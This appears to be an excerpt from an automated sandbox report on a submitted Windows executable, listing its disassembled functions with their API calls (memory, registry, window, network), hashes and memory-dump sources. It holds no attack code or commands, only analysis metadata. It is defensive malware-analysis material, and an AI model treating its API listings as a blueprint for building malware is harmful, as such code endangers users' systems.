Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitializeCriticalSectionAndSpinCount$`#vp,$v$kernel32.dll
API String ID: 1646373207-1530109648
Opcode ID: 555e332292ca30733b42562bae4a1dc6fe38cd6b3bc813339523b37f08c96110
Instruction ID: ce44358daea0c9ea577a3d839c8de632687c57e94c437d53c63a589a871009e4
Opcode Fuzzy Hash: 555e332292ca30733b42562bae4a1dc6fe38cd6b3bc813339523b37f08c96110
Instruction Fuzzy Hash: 86F05430740302EFDB28AFA5DD05B8E36A4AF45394F64D17BA412E26A0D7BCD9849A1D

Function 004169F6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00410526), ref: 004169FB
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00416A0B

Strings

IsProcessorFeaturePresent, xrefs: 00416A05
KERNEL32, xrefs: 004169F6
`#vp,$v, xrefs: 004169FB

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32$`#vp,$v
API String ID: 1646373207-3967587774
Opcode ID: 930357ea9b2b054f3e33310345d67954e3ef867d834dfbee0a7fbed3febea94e
Instruction ID: f7e75c8983afe75b452e8c5a0e3795a3a9e97458d4fb11f8d1bffce13407fbee
Opcode Fuzzy Hash: 930357ea9b2b054f3e33310345d67954e3ef867d834dfbee0a7fbed3febea94e
Instruction Fuzzy Hash: BCC01270350300AAE9606B622D19F56218C6F18B83F1904667503F01A0CB68C081653D

Function 0042B2F3 Relevance: 7.7, APIs: 5, Instructions: 236stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042B2F8
lstrlenA.KERNEL32(?,?,00000000), ref: 0042B323
VariantClear.OLEAUT32(0000000C), ref: 0042B47F

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ClearH_prologVariantlstrlen
String ID:
API String ID: 2416264355-0
Opcode ID: b89cfb44284379472a5c7ef7bc3bacdfcdfa9a3b5cd4a3f6bd749639aea81153
Instruction ID: 2154954aee45bc9f37d5e476858aa3f54607d5b4520b193f721ce322dcdb1a24
Opcode Fuzzy Hash: b89cfb44284379472a5c7ef7bc3bacdfcdfa9a3b5cd4a3f6bd749639aea81153
Instruction Fuzzy Hash: 9381D471A01629EBCF10DF55E881AAEBBB0FF05358F90851AF854AB251C738D991CBD8

Function 004121F8 Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,0040E699,?), ref: 004122AB
InterlockedExchange.KERNEL32(0043F6C8,00000001), ref: 00412329
InterlockedExchange.KERNEL32(0043F6C8,00000000), ref: 0041238E
InterlockedExchange.KERNEL32(0043F6C8,00000001), ref: 004123B2
InterlockedExchange.KERNEL32(0043F6C8,00000000), ref: 00412412

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ExchangeInterlocked$QueryVirtual
String ID:
API String ID: 2947987494-0
Opcode ID: 6a17d818e742434f057d2ba6d72ccd2d10828a07a170a6c333869a08031e37f3
Instruction ID: d666452b32fb370f5039d9c4d9c953f1fa938a618f22207ba933b66a0757dcd5
Opcode Fuzzy Hash: 6a17d818e742434f057d2ba6d72ccd2d10828a07a170a6c333869a08031e37f3
Instruction Fuzzy Hash: 8F511530A006158FCB288F28DB817EA73A5BB49314F64957BD851C72A1E3FCDCE2864D

Function 00412B89 Relevance: 7.7, APIs: 5, Instructions: 172COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00412BE6
GetFileType.KERNEL32(?), ref: 00412C90
GetStdHandle.KERNEL32(-000000F6), ref: 00412D11

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: FileHandleInfoStartupType
String ID:
API String ID: 2461013171-0
Opcode ID: a41e6a2bdbcd81d841d3acfd68b2595e2d0e9f73fc32f30227e20274102ae087
Instruction ID: d278a9e66e7a289658028d0007e01ec58958c44d3a53fc808e972aab8f93b423
Opcode Fuzzy Hash: a41e6a2bdbcd81d841d3acfd68b2595e2d0e9f73fc32f30227e20274102ae087
Instruction Fuzzy Hash: 6A512A702047418FD7208F68DD847A677E4FB12328F24863ED696CB2E1E7B8D4A6C749

Function 0040F2EB Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a9960bd93fec852de473eb3548affb155960367c54875f566ccfefcf4308e7d
Instruction ID: cd14ed6faf968c26f5ad3f682f5955487037b3cb07160dd73ebcc5381cbba43c
Opcode Fuzzy Hash: 4a9960bd93fec852de473eb3548affb155960367c54875f566ccfefcf4308e7d
Instruction Fuzzy Hash: 3341F3B1D00225AACF30BFA69C848AFBA74EB55728710453FFD15B66D1D33C4D898A9C

Function 00404812 Relevance: 7.6, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 0040483B
LoadResource.KERNEL32(?,00000000), ref: 00404847
LockResource.KERNEL32(00000000), ref: 0040485C
FreeResource.KERNEL32(00000000), ref: 0040488F
GetDlgItem.USER32(?,00000000), ref: 00404939

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Resource$FindFreeItemLoadLock
String ID:
API String ID: 996205394-0
Opcode ID: 4237aaeb46cccb602a0984120901f33fbc0742d29dd2597d22a60c95cf2cdb97
Instruction ID: 6aec8b371c9fab22d9bb11c82ff679e6f8f2bf4797d8e8c33563a997009e8f8d
Opcode Fuzzy Hash: 4237aaeb46cccb602a0984120901f33fbc0742d29dd2597d22a60c95cf2cdb97
Instruction Fuzzy Hash: DF514EB5A00209EFCB14DF66C484AAEBBB5FF84314F14847AE916AB391D738E941CF54

Function 004070AF Relevance: 7.6, APIs: 5, Instructions: 126windowthreadCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004070B4
SendMessageA.USER32(?,00000138,?,?), ref: 00407138
GetBkColor.GDI32(?), ref: 00407141
GetTextColor.GDI32(?), ref: 0040714D
GetThreadLocale.KERNEL32(0000F1C0), ref: 004071DF

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Color$H_prologLocaleMessageSendTextThread
String ID:
API String ID: 741590120-0
Opcode ID: 690d7af245a93de95a2d746acce73e69c4852c2c64f9a7fa874139ff42539c16
Instruction ID: 20cee96fae53f77c6612ec2f8febb233d27f76521b7ee9c4483379ac0ab0fb9c
Opcode Fuzzy Hash: 690d7af245a93de95a2d746acce73e69c4852c2c64f9a7fa874139ff42539c16
Instruction Fuzzy Hash: 7C518E30904306DFCB10EF65C8445AAB7B0FF44314B10896EF856AB3A1E778B955CB6A

Function 00426F77 Relevance: 7.6, APIs: 5, Instructions: 102windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00426ED9: GetParent.USER32(?), ref: 00426F2C
Part of subcall function 00426ED9: GetLastActivePopup.USER32(?), ref: 00426F3B
Part of subcall function 00426ED9: IsWindowEnabled.USER32(?), ref: 00426F50
Part of subcall function 00426ED9: EnableWindow.USER32(?,00000000), ref: 00426F63

EnableWindow.USER32(?,00000001), ref: 00426FB7
SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00426FCB
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 00427041
MessageBoxA.USER32(?,?,?,000000F0), ref: 00427065
EnableWindow.USER32(?,00000001), ref: 00427081

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$Enable$Message$ActiveEnabledFileLastModuleNameParentPopupSend
String ID:
API String ID: 489645344-0
Opcode ID: 42c07a88efa4cedc6cfd4f5157a7262d5df472f227f5db3fb4d65e13e20a45ba
Instruction ID: 94a83bf1e9e898c293309cd3d0189100989e43beb641fad24fa4ba7b3a2eaaf4
Opcode Fuzzy Hash: 42c07a88efa4cedc6cfd4f5157a7262d5df472f227f5db3fb4d65e13e20a45ba
Instruction Fuzzy Hash: 4531E531B043689FEF309FA5ED80B9EB7B4AF05700F55002EEA05AB281DBB99D058B55

Function 0042867C Relevance: 7.6, APIs: 5, Instructions: 70registryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00428681
RegOpenKeyA.ADVAPI32(?,?,?), ref: 004286AA
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 004286CE
RegDeleteKeyA.ADVAPI32(?,?), ref: 00428761
RegCloseKey.ADVAPI32(?), ref: 0042876F

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CloseDeleteEnumH_prologOpen
String ID:
API String ID: 3131381098-0
Opcode ID: 3da1cfe8e0bdcdf6bb3580b66696eb1dbd77266631f15c1d34462537c3854d5f
Instruction ID: 3b1ea214686a536e0a2d4bea5f1d2e89e807bfaa4abb09b0d42beed4e779e599
Opcode Fuzzy Hash: 3da1cfe8e0bdcdf6bb3580b66696eb1dbd77266631f15c1d34462537c3854d5f
Instruction Fuzzy Hash: 6521BC32E00128AFDB21DB54DC44BEEB7B4FB08310F0042AAE855B72A0CB388E51DF94

Function 004272B3 Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00423C94: GetDlgItem.USER32(?,?), ref: 00423CA1

SendMessageA.USER32(?,00000087,00000000,00000000), ref: 004272F4
SendMessageA.USER32(?,000000F0,00000000,00000000), ref: 00427308
SendMessageA.USER32(?,000000F1,00000000,00000000), ref: 0042732E
GetWindow.USER32(?,00000002), ref: 00427338
GetWindowLongA.USER32(00000000,000000F0), ref: 00427348

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: MessageSend$Window$ItemLong
String ID:
API String ID: 1613074769-0
Opcode ID: 97cbf4e57a23a0da11286c9286a259086bce15a030b63461e7beaaeda3af21d2
Instruction ID: fe25e8e1c6ca3775ff26ef85d9a3a830e02c818cf282e5b9224e09687ff5b461
Opcode Fuzzy Hash: 97cbf4e57a23a0da11286c9286a259086bce15a030b63461e7beaaeda3af21d2
Instruction Fuzzy Hash: FC116D7120422AFFDF109F51EC84EAA7B29FF443A4F508126FD154A2A0CB34AD51DBA4

Function 0042C0CB Relevance: 7.6, APIs: 5, Instructions: 58networkCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042C0D0
inet_addr.WS2_32(?), ref: 0042C10F
gethostbyname.WS2_32(?), ref: 0042C120
htons.WS2_32(?), ref: 0042C137
WSASetLastError.WS2_32(00002726), ref: 0042C177

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ErrorH_prologLastgethostbynamehtonsinet_addr
String ID:
API String ID: 3864313882-0
Opcode ID: 4b5bd378ccf6621e41f5217fc09554331f5af7f9c8d6f30778e4ca4430e9895b
Instruction ID: 55ba63c0e82c93a398f165e94c6545409e9e25af3e370e3a1538512de266e412
Opcode Fuzzy Hash: 4b5bd378ccf6621e41f5217fc09554331f5af7f9c8d6f30778e4ca4430e9895b
Instruction Fuzzy Hash: 4D116D31A00228DFCB10EFA5E8859EDBBB4FF08754F40456AF405A72A1D7389A51CF99

Function 00427DB5 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

GetMapMode.GDI32(?,?,?,?,?,?,00407712,?,00000000,?,7694E800), ref: 00427DC5
GetDeviceCaps.GDI32(?,00000058), ref: 00427DFF
GetDeviceCaps.GDI32(?,0000005A), ref: 00427E08

Part of subcall function 00426049: MulDiv.KERNEL32(?,00000000,00000000), ref: 00426089
Part of subcall function 00426049: MulDiv.KERNEL32(00000000,00000000,00000000), ref: 004260A6

MulDiv.KERNEL32(?,000009EC,00000060), ref: 00427E2C
MulDiv.KERNEL32(00000000,000009EC,7694E800), ref: 00427E37

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: 4f3f8492715973c01261396f95e4a9daf1e0a3e3b78cb544d1ec3266c9131d15
Instruction ID: 2e381f7fe369a97062e71ca8c090e36ae9c4614a4b77d937c301da42c517efac
Opcode Fuzzy Hash: 4f3f8492715973c01261396f95e4a9daf1e0a3e3b78cb544d1ec3266c9131d15
Instruction Fuzzy Hash: E711C231700624AFDB21AF5ADC44C2EBBA9FF88710752042AFA4597360C775AC028F94

Function 00411DA5 Relevance: 7.5, APIs: 5, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,0040F9CC,004108AA,00000000,00431B30,00000008,00410901,?,?,?,00410723,00000004,00431B20,00000010,0041200F), ref: 00411DA7
FlsGetValue.KERNEL32(?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411DB5
SetLastError.KERNEL32(00000000,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411E0B

Part of subcall function 004106DA: __lock.LIBCMT ref: 0041071E
Part of subcall function 004106DA: HeapAlloc.KERNEL32(00000008,?,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 0041075C

FlsSetValue.KERNEL32(00000000,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411DDC
GetCurrentThreadId.KERNEL32 ref: 00411DF4

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread__lock
String ID:
API String ID: 3368326513-0
Opcode ID: a2e0e11b31321dbee8d00aaa3ff715e8f4c10284b2315e1796a463f44e233b22
Instruction ID: 2e555c96cbcdb27f1e987eae822a5d52ba16f41a925a0101c91ccab380ceafb0
Opcode Fuzzy Hash: a2e0e11b31321dbee8d00aaa3ff715e8f4c10284b2315e1796a463f44e233b22
Instruction Fuzzy Hash: 9CF0FC31B01711DFD7301FB1AC4A6877BA4FB00762B00563AF982E62B0CB74884147E8

Function 00429D50 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(00695838,?,?,00429DC7,00000000,00000001), ref: 00429D76
GlobalHandle.KERNEL32(00662F78), ref: 00429D84
GlobalUnlock.KERNEL32(00000000,?,?,00429DC7,00000000,00000001), ref: 00429D8D
GlobalFree.KERNEL32(00000000), ref: 00429D94
DeleteCriticalSection.KERNEL32(0043F184,?,?,00429DC7,00000000,00000001), ref: 00429D9E

Part of subcall function 00429BB8: EnterCriticalSection.KERNEL32(?), ref: 00429C15
Part of subcall function 00429BB8: LeaveCriticalSection.KERNEL32(?,?), ref: 00429C25
Part of subcall function 00429BB8: LocalFree.KERNEL32(?), ref: 00429C2E
Part of subcall function 00429BB8: TlsSetValue.KERNEL32(?,00000000), ref: 00429C40

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CriticalFreeGlobalSection$DeleteEnterHandleLeaveLocalUnlockValue
String ID:
API String ID: 1549993015-0
Opcode ID: cda239e742f0368a0fb7abb0ada14223e37cfef73ab97b54edbb53a213948107
Instruction ID: f3a137cc99f00e13c3aa807b9edadb0f25c424e624a33044372182c2df137c47
Opcode Fuzzy Hash: cda239e742f0368a0fb7abb0ada14223e37cfef73ab97b54edbb53a213948107
Instruction Fuzzy Hash: DFF089313005109BD631AB39BC48A7B76BCAF85711B95066AF816D3351D738DC03576D

Function 0040B692 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 297memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040B697
CoTaskMemAlloc.OLE32(?,?,?,00000000), ref: 0040B7BE
CoTaskMemFree.OLE32(?,?,00000000), ref: 0040B9D6

Strings

, xrefs: 0040B86E

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Task$AllocFreeH_prolog
String ID:
API String ID: 1522537378-3916222277
Opcode ID: 929f9b5ebdec0014ec1f74a148c8dfc2360b127b466e663828303ad3da1abc5d
Instruction ID: ad970cdde69fdafffcc6cb1f39cb6ed57967dbf095fb62cede4e6b66b95c3350
Opcode Fuzzy Hash: 929f9b5ebdec0014ec1f74a148c8dfc2360b127b466e663828303ad3da1abc5d
Instruction Fuzzy Hash: 06C13970A00608DFCB24DFA9C884AAEB7B5FF88304F20456EE546E7391DB75A945CF58

Function 00408C38 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408C3D
VariantClear.OLEAUT32(?), ref: 00408DCA

Strings

@, xrefs: 00408CDF
@, xrefs: 00408C8A

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ClearH_prologVariant
String ID: @$@
API String ID: 1166855276-149943524
Opcode ID: f802b67e1e94a0780ee79d7fc30415edf74127099df7fd6265c2581392f00dde
Instruction ID: ef86999ad6ee6f5cf559b2610e0ac6289f61f51e6328f32c9ffdf30846b8a703
Opcode Fuzzy Hash: f802b67e1e94a0780ee79d7fc30415edf74127099df7fd6265c2581392f00dde
Instruction Fuzzy Hash: 9151B7B1A002199FDB04CFA9C9889EEBBF9FF48314F14456EE506EB250E774A945CF60

Function 004289CD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

GetMenuCheckMarkDimensions.USER32 ref: 004289E3
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 00428A85
LoadBitmapA.USER32(00000000,00007FE3), ref: 00428A9D

Strings

, xrefs: 004289EF

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
